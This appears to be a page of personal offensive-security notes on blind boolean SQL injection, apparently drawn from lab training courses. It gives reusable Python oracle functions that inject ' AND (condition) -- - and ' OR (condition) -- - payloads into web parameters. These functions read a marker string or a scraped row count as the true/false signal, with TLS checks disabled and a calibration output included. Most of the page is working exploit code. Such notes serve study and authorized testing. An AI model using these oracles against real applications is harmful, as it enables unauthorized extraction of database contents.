Skip to content
Boolean

Boolean

Boolean oracle — the reusable core

Every blind attack reduces to a single function that maps an injected condition to True/False.

Blind injection comes down to one mechanism: a string is chosen that appears in the response only when the condition is false (or only when true), collapsing the entire HTTP round-trip into one boolean. Every length finder, char dumper and binary search simply calls this oracle() with different conditions. The marker must be chosen carefully — it must be stable across true/false and across unrelated noise (CSRF tokens, timestamps), or the dump fills with garbage.

FALSE_STRING = "available"   # text present ONLY when the condition is FALSE

def oracle(s, condition):
    params = {
        "u": f"{known_user}' AND ({condition}) -- -"
    }
    r = s.get(url=CHECK_URL, params=params, verify=False, proxies=PROXIES)
    return FALSE_STRING not in r.text   # True => condition held

Find by: blind, boolean, oracle, true false, inference, injection, condition, sqli, xpath, ldap, signal, differentiator · Source: CWEE/Blind SQLi

Boolean (content-based) oracle via bs4 response diff

Boolean oracle that injects a condition and reads the rendered row count as the TRUE/FALSE signal.

A content-based oracle needs an observable difference between the TRUE and FALSE branches of an injected condition. Here the injection rides a category filter as ' OR (<condition>) -- -: a TRUE condition returns the full catalogue while a FALSE one returns only the default category. scrape_rows parses the response with BeautifulSoup and counts the rendered result tiles, so the comparison count > TRUE_ROWS collapses any boolean question into True/False. The same shape works with any stable diff when there is no list to scrape: substitute a marker string (marker in r.text), the response length (len(r.text)), or the status code. TRUE_ROWS is calibrated once against a known-true payload such as 1=1, then every subsequent call reuses that baseline.

import requests
import urllib3
from bs4 import BeautifulSoup

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

s = requests.Session()
URL = "https://target/filter"
TRUE_ROWS = 12  # row count returned by a known-TRUE condition (calibrate once)

def scrape_rows(html):
    # Count the result tiles the app renders; the number is the boolean signal.
    soup = BeautifulSoup(html, "html.parser")
    return len(soup.select("section.container-list-tiles > div"))

def oracle(condition):
    # TRUE branch returns the full catalogue, FALSE branch only the default
    # category -> the rendered row count separates the two outcomes.
    payload = f"' OR ({condition}) -- -"
    r = s.get(URL, params={"category": payload}, verify=False)  # proxies=PROXIES to inspect
    return scrape_rows(r.text) > TRUE_ROWS

print("[+] live" if oracle("1=1") else "[-] no diff - recheck sink/baseline")

Rendered result tiles the scraper counts

<section class="container-list-tiles">
  <div><h3>Item A</h3><span>$9.99</span></div>
  <div><h3>Item B</h3><span>$4.50</span></div>
  
</section>

Calibration call

[+] live    # oracle("1=1") -> True (rows > baseline)

Find by: boolean sqli, content-based, in-band, response diff, true false oracle, beautifulsoup, item count, OR 1=1 · Source: WSA/SQLi boolean in-band (bs4 content diff)